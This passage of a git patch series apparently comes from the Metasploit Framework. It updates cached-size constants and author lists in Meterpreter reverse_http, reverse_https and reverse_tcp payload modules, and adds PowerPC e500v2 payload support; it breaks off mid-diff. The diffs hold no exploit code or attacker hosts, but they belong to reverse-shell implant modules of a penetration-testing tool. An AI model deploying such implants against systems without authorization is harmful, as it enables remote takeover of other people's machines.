 modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb | 2 +-
 modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb   | 2 +-
 modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb  | 2 +-
 modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb | 2 +-
 modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb   | 2 +-
 .../payloads/singles/linux/zarch/meterpreter_reverse_http.rb    | 2 +-
 .../payloads/singles/linux/zarch/meterpreter_reverse_https.rb   | 2 +-
 modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb | 2 +-
 modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb    | 2 +-
 modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb   | 2 +-
 modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb     | 2 +-
 36 files changed, 36 insertions(+), 36 deletions(-)

diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
index 25b4b456e2..88c27331ff 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 675112
+  CachedSize = 692384
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
index 7f493ef8e9..70b5b22c3a 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 675112
+  CachedSize = 692384
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
index 4c1b96f0db..3c23cfc864 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
 
 module MetasploitModule
 
-  CachedSize = 675112
+  CachedSize = 692384
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
index 4fff3cf0a5..f4858b8243 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 668392
+  CachedSize = 678568
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
index d1e889a621..894c078891 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 668392
+  CachedSize = 678568
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
index 7ac0601213..1616b986ec 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 668392
+  CachedSize = 678568
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
index 5da3516adf..62d9f16d0e 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 666984
+  CachedSize = 677296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
index 976d22b3d0..3149bcca28 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 666984
+  CachedSize = 677296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
index 866d3a0e5c..1243e402de 100644
--- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
 
 module MetasploitModule
 
-  CachedSize = 666984
+  CachedSize = 677296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
index 8e5a81046a..dd9368b245 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1059368
+  CachedSize = 1077640
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
index 01618c62b5..8c34b01940 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1059368
+  CachedSize = 1077640
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
index 65778b0f92..8e0de4303b 100644
--- a/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
 
 module MetasploitModule
 
-  CachedSize = 1059368
+  CachedSize = 1077640
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index ee78530672..fdc9ad4109 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1037512
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index 05b53aa7ba..a5db786462 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1037512
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index bc38d4a374..da8aba961f 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1037512
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
index 92ad4f9c77..21021201df 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1036808
+  CachedSize = 1053540
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
index 27e5989778..4bd4e3818e 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1036808
+  CachedSize = 1053540
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
index 66cdd82b24..3735553d80 100644
--- a/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
 
 module MetasploitModule
 
-  CachedSize = 1036808
+  CachedSize = 1053540
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
index 7c3d17f612..c18783c2b3 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 789196
+  CachedSize = 854692
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
index 2edd9d4421..651bc9c1b6 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 789196
+  CachedSize = 854692
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
index fe8cbdd08a..d2771d7a0c 100644
--- a/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
 
 module MetasploitModule
 
-  CachedSize = 789196
+  CachedSize = 854692
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
index 94dbd28258..8baaf5149a 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 855928
+  CachedSize = 856312
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
index 353b7ccf37..8bfe23028d 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 855928
+  CachedSize = 856312
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
index 48c3abe40b..7f6980e6f7 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 855928
+  CachedSize = 856312
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
index c8ec4d34ba..2c41b001e2 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 729184
+  CachedSize = 745472
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
index 3e9f8ab1d6..a89325ffbb 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 729184
+  CachedSize = 745472
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
index e52a985f0c..b5ace9bfeb 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 729184
+  CachedSize = 745472
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
index 3d44d1abe8..078ea923e9 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 772828
+  CachedSize = 793296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
index 8d2f70e310..a3f8085c2a 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 772828
+  CachedSize = 793296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
index 55bdf50aa5..3660fc5810 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 772828
+  CachedSize = 793296
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
index d5adac9574..e522b7c89c 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 893560
+  CachedSize = 905864
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
index 0e8fe66ace..ae31cc5abe 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 893560
+  CachedSize = 905864
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
index abb089db49..5e73f26542 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 893560
+  CachedSize = 905864
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
index 4a08503586..cf4c1f6b81 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 618412
+  CachedSize = 789068
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
index 6436a8b549..c4f9172030 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 618412
+  CachedSize = 789068
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
index a70eb46ee7..82da65b261 100644
--- a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
 
 module MetasploitModule
 
-  CachedSize = 618412
+  CachedSize = 789068
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

From 56eb828cc5d57f0f36bbb43e9b405fb9acefe2f0 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Mon, 30 Oct 2017 14:04:10 -0500
Subject: [PATCH 070/254] add e500v2 payloads

---
 Gemfile.lock                                  |  2 +-
 .../sessions/meterpreter_ppce500v2_linux.rb   | 29 ++++++++++++
 lib/msf/core/payload/uuid.rb                  |  3 +-
 .../linux/aarch64/meterpreter_reverse_http.rb |  3 +-
 .../aarch64/meterpreter_reverse_https.rb      |  3 +-
 .../linux/aarch64/meterpreter_reverse_tcp.rb  |  3 +-
 .../linux/armbe/meterpreter_reverse_http.rb   |  3 +-
 .../linux/armbe/meterpreter_reverse_https.rb  |  3 +-
 .../linux/armbe/meterpreter_reverse_tcp.rb    |  3 +-
 .../linux/armle/meterpreter_reverse_http.rb   |  3 +-
 .../linux/armle/meterpreter_reverse_https.rb  |  3 +-
 .../linux/armle/meterpreter_reverse_tcp.rb    |  3 +-
 .../linux/mips64/meterpreter_reverse_http.rb  |  3 +-
 .../linux/mips64/meterpreter_reverse_https.rb |  3 +-
 .../linux/mips64/meterpreter_reverse_tcp.rb   |  3 +-
 .../linux/mipsbe/meterpreter_reverse_http.rb  |  3 +-
 .../linux/mipsbe/meterpreter_reverse_https.rb |  3 +-
 .../linux/mipsbe/meterpreter_reverse_tcp.rb   |  3 +-
 .../linux/mipsle/meterpreter_reverse_http.rb  |  3 +-
 .../linux/mipsle/meterpreter_reverse_https.rb |  3 +-
 .../linux/mipsle/meterpreter_reverse_tcp.rb   |  3 +-
 .../linux/ppc/meterpreter_reverse_http.rb     |  3 +-
 .../linux/ppc/meterpreter_reverse_https.rb    |  3 +-
 .../linux/ppc/meterpreter_reverse_tcp.rb      |  3 +-
 .../linux/ppc64le/meterpreter_reverse_http.rb |  3 +-
 .../ppc64le/meterpreter_reverse_https.rb      |  3 +-
 .../linux/ppc64le/meterpreter_reverse_tcp.rb  |  3 +-
 .../ppce500v2/meterpreter_reverse_http.rb     | 44 +++++++++++++++++++
 .../ppce500v2/meterpreter_reverse_https.rb    | 44 +++++++++++++++++++
 .../ppce500v2/meterpreter_reverse_tcp.rb      | 44 +++++++++++++++++++
 .../linux/x64/meterpreter_reverse_http.rb     |  3 +-
 .../linux/x64/meterpreter_reverse_https.rb    |  3 +-
 .../linux/x64/meterpreter_reverse_tcp.rb      |  3 +-
 .../linux/x86/meterpreter_reverse_http.rb     |  3 +-
 .../linux/x86/meterpreter_reverse_https.rb    |  3 +-
 .../linux/x86/meterpreter_reverse_tcp.rb      |  3 +-
 .../linux/zarch/meterpreter_reverse_http.rb   |  3 +-
 .../linux/zarch/meterpreter_reverse_https.rb  |  3 +-
 .../linux/zarch/meterpreter_reverse_tcp.rb    |  3 +-
 .../osx/x64/meterpreter_reverse_http.rb       |  3 +-
 .../osx/x64/meterpreter_reverse_https.rb      |  3 +-
 .../osx/x64/meterpreter_reverse_tcp.rb        |  3 +-
 tools/modules/generate_mettle_payloads.rb     | 25 ++++++-----
 43 files changed, 249 insertions(+), 50 deletions(-)
 create mode 100644 lib/msf/base/sessions/meterpreter_ppce500v2_linux.rb
 create mode 100644 modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_http.rb
 create mode 100644 modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_https.rb
 create mode 100644 modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb

diff --git a/Gemfile.lock b/Gemfile.lock
index e32cd33f32..5a57421014 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -252,7 +252,7 @@ GEM
     recog (2.1.16)
       nokogiri
     redcarpet (3.4.0)
-    rex-arch (0.1.11)
+    rex-arch (0.1.13)
       rex-text
     rex-bin_tools (0.1.4)
       metasm
diff --git a/lib/msf/base/sessions/meterpreter_ppce500v2_linux.rb b/lib/msf/base/sessions/meterpreter_ppce500v2_linux.rb
new file mode 100644
index 0000000000..85f1b69b3b
--- /dev/null
+++ b/lib/msf/base/sessions/meterpreter_ppce500v2_linux.rb
@@ -0,0 +1,29 @@
+# -*- coding: binary -*-
+
+require 'msf/base/sessions/meterpreter'
+
+module Msf
+module Sessions
+
+###
+#
+# This class creates a platform-specific meterpreter session type
+#
+###
+class Meterpreter_ppce500v2_Linux < Msf::Sessions::Meterpreter
+  def supports_ssl?
+    false
+  end
+  def supports_zlib?
+    false
+  end
+  def initialize(rstream, opts={})
+    super
+    self.base_platform = 'linux'
+    self.base_arch = ARCH_PPCE500V2
+  end
+end
+
+end
+end
+
diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb
index acc100406a..1a651242e3 100644
--- a/lib/msf/core/payload/uuid.rb
+++ b/lib/msf/core/payload/uuid.rb
@@ -43,7 +43,8 @@ class Msf::Payload::UUID
     24 => ARCH_AARCH64,
     25 => ARCH_MIPS64,
     26 => ARCH_PPC64LE,
-    27 => ARCH_R
+    27 => ARCH_R,
+    28 => ARCH_PPCE500V2
   }
 
   Platforms = {
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
index 88c27331ff..3a9e4e3e27 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_AARCH64,
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
index 70b5b22c3a..d5eda3afaf 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_AARCH64,
diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
index 3c23cfc864..3400e28e34 100644
--- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_AARCH64,
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
index f4858b8243..bd32104cce 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
+          'Brent Cook <brent_cook[at]rapid7.com>',
+          'timwr'
         ],
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMBE,
diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
index 894c078891..073d4b31b3 100644
--- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb
@@ -24,7 +24,8 @@ module MetasploitModule
         'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
         'Author'        => [
           'Adam Cammack <adam_cammack[at]rapid7.com>',
-          'Brent Cook <brent_cook[at]rapid7.com>'
